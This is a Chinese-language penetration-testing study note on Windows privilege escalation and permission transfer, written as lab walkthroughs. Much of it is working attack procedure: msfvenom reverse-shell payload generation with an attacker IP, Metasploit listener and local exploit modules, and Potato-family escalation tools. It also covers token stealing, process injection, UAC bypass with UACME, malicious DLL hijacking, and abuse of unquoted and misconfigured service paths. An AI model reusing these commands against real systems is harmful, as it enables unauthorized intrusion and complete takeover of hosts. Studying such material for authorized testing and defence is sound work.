基础点:
0、为什么我们要学习权限提升转移技术:
简单来说就是达到目的过程中需要用到它
1、具体有哪些权限需要我们了解掌握的:
后台权限,数据库权限,Web权限,用户权限,服务器权限,宿主机权限,域控制器权限
2、以上常见权限获取方法简要归类说明:
后台权限:SQL注入,数据库泄漏,弱口令攻击,未授权访问等造成
数据库权限:SQL注入,数据库泄漏,弱口令攻击,未授权访问等造成
Web权限:RCE,反序列化,文件上传等直达或通过后台数据库间接造成
用户权限:弱口令,数据泄漏等直达或通过Web,服务器及域控转移造成
服务器权限:系统内核漏洞,钓鱼后门攻击,主机软件安全直达或上述权限提升造成
宿主机权限:Docker不安全配置或漏洞权限提升直达(服务资产造成入口后提升)
域控制器权限:内网域计算机用户提升或自身内核漏洞,后门攻击,主机软件安全直达
3、以上常见权限获取后能操作的具体事情:
后台权限:文章管理,站点管理,模版管理,数据管理,上传管理等
数据库权限:操作数据库的权限,数据增删改查等(以数据库用户为主)
Web权限:源码查看,源码文件增删改查,磁盘文件文件夹查看(以权限配置为主)
用户权限:就如同自己电脑上普通用户能操作的情况(敏感操作会被禁止)
服务器权限:就如同自己电脑上能操作的情况(整个系统都是你的)
宿主机权限:就如同自己电脑上能操作的情况(整个系统都是你的)
域控制器权限:就如同自己电脑上能操作的情况(整个内网域系统都是你的)
4、以上常见权限在实战中的应用场景介绍:
当我们通过弱口令进入到应用后台管理
当我们下载备份文件获取到数据库信息
当我们通过漏洞拿到资产系统的Web权限
当我们在公司被给予账号密码登录计算机或系统
当我们在公司或钓鱼后门获取到某个公司机器系统
……………………………….
1、Web搭建平台差异
集成软件,自行搭建,虚拟化等
集成软件:宝塔,PhpStudy,XAMMP等
自行搭建:自己一个个下载安装搭建配置
虚拟化:Docker,ESXi,QEMU,Hyper-V等
2、Web语言权限差异
ASP/ASP.NET/PHP/JSP等
权限高低:JSP>ASP.NET>ASP=PHP
3、系统用户权限差异
Windows:
System:系统组,拥有管理系统资源的权限,包括文件、目录和注册表等。
Administrators:管理员组,具有对计算机进行完全访问和操作的权限。
Users:用户组,一般用户的默认组别,拥有较低的系统权限。
Guests:
访客组,可以访问计算机上的公共文件夹和打印机,但不能更改配置和安装程序。
Backup Operators:
备份操作员组,允许用户备份和还原数据,但不能更改配置安装程序。
Power Users:高级用户组,拥有比一般用户更高的系统权限,但比管理员组权限低。
Remote Desktop Users:远程桌面用户组,允许用户进行远程桌面连接。
Network Configuration Operators:网络配置操作员组,允许用户管理网络配置。
Performance Log Users:性能日志用户组,允许用户收集性能日志和计数器数据。
Distributed COM Users:
分布式 COM 用户组,允许用户使用分布式 COM 连接到计算机。
IIS_IUSRS: 用于授权IIS相关服务的用户组。
Linux:
系统用户:UID(0-999)
普通用户:UID(1000-*)
root用户:UID为0,拥有系统的完全控制权限
Web
Web应用&中间件&数据库
背景1:通过弱口令进入Web后台系统通过上传获取Web权限
背景2:通过Tomcat弱口令进入控制界面通过上传获取Web权限
背景3:通过Redis未授权进入管理端通过SQL执行获取Web权限
权限转移-后台管理&数据库管理&Web
Tmall-后台权限->Web权限(提升)
Tmall-Web权限->数据库权限(转移)
Tmall-Web权限->另一个后台权限(转移)
PhpMyadmin-数据管理->Web权限(提升)
PhpMyadmin-Web权限->另一个后台权限(转移)
Windows
windows提权主要还是溢出漏洞
Web到Win-系统提权-宝塔面板-哥斯拉
Windows 2012(宝塔Apache+PHP)-MSF
复现搭建:选择2012系统后自行安装宝塔
哥斯拉插件//编码绕过、禁用函数绕过
Meterpreter
BypassOpenBaseDir
BypassDisableFunction
Web到Win-系统提权-溢出漏洞-MSF&CS
Windows 2008(IIS+ASP)-MSF
自行搭建+ASP/PHP+Windows 2008
复现搭建:选择2016系统后自行安装IIS+ASP
0、MSF安装:(也可以用kali)
目前的msf版本有bug可以TB上购买pro版本嘎嘎稳
https://blog.csdn.net/qq_46717339/article/details/122653084
1、生成反弹后门
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.139.141 LPORT=3333 -f exe -o msf.exe
LHOST是msf攻击机配置
2、攻击机msfconsole配置监听会话
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 3333
exploit
2.1、筛选EXP模块
全自动:快速识别系统中可能被利用的漏洞
use post/multi/recon/local_exploit_suggester
set showdescription true
3、利用EXP溢出提权
background
use exploit/windows/local/ms16_075_reflection_juicy
set session 1
exploit
Windows 2016(IIS+ASP.NET)-CS
复现搭建:选择2016系统后自行安装IIS+ASP.NET
0、CS安装
chmod +x ./teamserver
chmod +x ./TeamServerImage
./teamserver IP password
1、连接CS
2、创建监听器
3、加载脚本插件
Web到Win-系统提权-人工操作
如果提权中无法执行命令的话,可以尝试上传cmd.exe到可读写目录再调用
优点:解决实时更新不集成的EXP
缺点:操作繁琐,需要各种复现调试
解决工具或插件无法实时更新,又或者集成较少面对复杂情况下人工操作更适合
1、信息收集
参考常见命令(见上图)
2、补丁筛选
https://i.hacking8.com/tiquan. (已失效)
https://github.com/bitsadmin/wesng
python wes.py systeminfo.txt –color
python wes.py systeminfo.txt –color -i “Elevation of Privilege” //权限提升
python wes.py systeminfo.txt –color -i “Elevation of Privilege” -o vuln.csv
3、EXP获取执行
KernelHub 针对常用溢出编号指定找EXP
Poc-in-Github 针对年份及编号指定找EXP
exploitdb 针对类型及关键说明指定找EXP
https://github.com/Ascotbe/Kernelhub
https://github.com/nomi-sec/PoC-in-GitHub
https://gitlab.com/exploit-database/exploitdb
Web到Win-系统提权-土豆家族
https://mp.weixin.qq.com/s/OW4ybuqtErh_ovkTWLSr8w
土豆(potato)提权通常用在我们获取WEB/数据库权限的时候,
可以将低权限的服务用户提升为“NT AUTHORITY\SYSTEM”特权。
1、Test in:Windows 10/11(1809/21H2)
2、Test in:Windows Server 2019Datacenter(1809)
3、Test in:Windows Server 2022Datacenter(21H2)
OK的是实验中成功提权的
SweetPotato OK
RoguePotato
BadPotato OK
EfsPotato OK
GodPotato OK
PetitPotato OK
MultiPotato
CandyPotato
RasmanPotato OK
CoercedPotato
JuicyPotatoNG
PrintNotifyPotato OK
下载完直接用visual studio打开运行就行
GodPotato
https://github.com/BeichenDream/GodPotato
SweetPotato
https://github.com/CCob/SweetPotato
RoguePotato
https://github.com/antonioCoco/RoguePotato
BadPotato
https://github.com/BeichenDream/BadPotato
EfsPotato
https://github.com/zcgonvh/EfsPotato
MultiPotato
https://github.com/S3cur3Th1sSh1t/MultiPotato
CandyPotato
https://github.com/klezVirus/CandyPotato
RasmanPotato
https://github.com/crisprss/RasmanPotato
PetitPotato
https://github.com/wh0amitz/PetitPotato
JuicyPotatoNG
https://github.com/antonioCoco/JuicyPotatoNG
PrintNotifyPotato
https://github.com/BeichenDream/PrintNotifyPotato
CoercedPotato
https://github.com/Prepouce/CoercedPotato
钓鱼成功场景
应用场景:
1、常规某个机器被钓鱼后门攻击后,我们需要做更高权限操作或权限维持等。
2、内网域中某个机器被钓鱼后门攻击后,我们需要对后续内网域做安全测试。
比如计算机管理员用户执行了木马文件,上线后为adminnistrator权限,此时想看net user /域名
域内用户,但是计算机管理员权限不行,因为它属于计算机本机的管理员不算域内成员,此时要么升权限到system获取计算机系统权限,要么降低权限到域内用户
主要当前技术入口点:
-当前权限由钓鱼攻击获取
主要当前技术应用点:
-当前受控机在内网域环境
1、提权system与内网交互
2、降权到域用户与内网交互
net user查看计算机用户
net user /domainname 查看域内用户
cs内执行命令前面加shell
shell net user
服务启动(提权)
sc是用于与服务控制管理器和服务进行通信的命令行程序。
适用版本:windows 7、10、08、12、16、19、22,早期用at命令
1、创建一个名叫syscmd的执行文件服务
sc Create syscmd binPath=”c:\msf.exe”
2、运行服务
sc start syscmd
#远程控制(提权)
https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
psexec.exe -accepteula -s -i -d cmd #调用运行cmd
#进程注入(降权&提权)
举例:win系统中任务管理器,有两个进程exe,a进程用户为administrator,b进程为system(权限高),a进程注入b进程,变成system,提权;b进程注入a进程,变成administrator,降权
MSF:
利用前面讲的溢出漏洞,
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.139.141 LPORT=3333 -f exe -o msf.exe
生成的msf.exe在/root目录下
在启动msfconsole监听端口
攻击机msfconsole配置监听会话
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 3333
exploit
在监听端口拿到的shell
ps //查看进程
migrate PID //迁移对应PID
从msf.exe开始迁移到PID
此时再getuid就获取到迁移的PID的User权限了了
CS://普通用户注入进程和窃取都没办法执行,至少得administrator
ps //查看进程
inject PID //注入对应PID
#令牌窃取(降权&提权)
MSF:
use incognito
list_tokens -u
获取到能窃取的用户,其中里面有NT AUTHORITY\SYSTEM
impersonate_token “NT AUTHORITY\SYSTEM”
也可以直接输入getsystem命令提权,msf会自动尝试可使用的方式提权
CS:
ps //查看进程
steal_token PID //窃取进程令牌
spawnu PID //窃取进程令牌上线
Win10&11-BypassUAC自动提权-MSF&UACME
UAC->User account controller
在某些win系统中,运行exe需要点击弹出窗口的是或者否选择运行或者不允许软件
类似下面这种
直接在cmd窗口里面执行会显示拒绝访问
为了远程执行目标的exe或者bat可执行文件需要绕过此安全机制
在用户到系统权限自动提权中也学通过BypassUAC实现自动化提权
绕过项目:MSF内置,Powershell渗透框架,UACME项目(推荐)
开启UAC和未开启UAC时,CS/MSF默认getsystem提权影响(进程注入等)
msfvenom -p windows/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=xx -f exe -o msf.exe
1、MSF模块:
use exploit/windows/local/ask
use exploit/windows/local/bypassua
use exploit/windows/local/bypassuac_sluihijack
use exploit/windows/local/bypassuac_silentcleanup
2、UACME项目:
https://github.com/hfiref0x/UACME
Akagi64.exe 编号 调用执行
如果运行有问题尝试修改SDK版本解决
对这五个全部修改
生成
利用文件在下面文件夹的output文件夹下
取出来拿到要绕过UAC的机器上,Akagi64.exe 数字编号 要绕过的软件.exe
eg:Akagi64.exe 41 C:\test\msf.exe
再msf提权或者其他执行类提权时候命令行执行有可能卡住,就可能是UAC导致
Windows-DLL劫持提权应用配合MSF-FlashFXP
原理:Windows程序启动的时候需要DLL。如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:
1、应用程序加载的目录
2、C:\Windows\System32
3、C:\Windows\System
4、C:\Windows
5、当前工作目录Current Working Directory,CWD
6、在PATH环境变量的目录(先系统后用户)
过程:信息收集-进程调试-制作dll并上传-替换dll-等待启动应用成功
检测:ChkDllHijack 火绒剑
项目:https://github.com/anhkgg/anhkgg-tools
利用火绒剑进行进程分析加载DLL,一般寻程序DLL利用。
msfvenom -p windows/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=xx -f dll -o xiaodi.dll
提前信息收集相关软件及DLL问题程序,本地调试成功后覆盖DLL实现利用
Windows-不带引号服务路径配合MSF-MacroExpert
前提:需要上传到指定目录的权限
原理:服务路径配置由于目录空格问题,可上传文件配合解析恶意触发执行
路径带空格且没被双引号闭合
过程:检测服务权限配置-制作文件并上传-服务路径指向解析-等待调用成功
检测命令:
wmic service get name,displayname,pathname,startmode |findstr /i “Auto” |findstr /i /v “C:\Windows\“ |findstr /i /v “””
上传反弹exe,设置好对应执行名后,执行sc start “Macro Expert”
就比如有一个服务的启动是C:\program files\xx.exe
此时上传C:\program.exe,服务就会找到他,把后面空格之后的当作参数
Win2012-不安全的服务权限配合MSF-NewServices
原理:即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它导致重定向执行文件。
过程:检测服务权限配置-制作文件并上传-更改服务路径指向-调用后成功
检测脚本:accesschk.exe -uwcqv “administrator” *
https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk
修改test服务指向Program.exe
sc config “test” binpath= “C:\Program.exe”
sc start test
实战中基本没有,webshell没有权限执行那个工具,需要高权限
综合类检测项目:
https://github.com/carlospolop/PEASS-ng
类似对整机进行基线检查
PEAS-ng适用于Windows和Linux/Unix*和MacOS的权限提升工具。
winPEAS.bat > result.txt
winPEASany.exe log=result.txt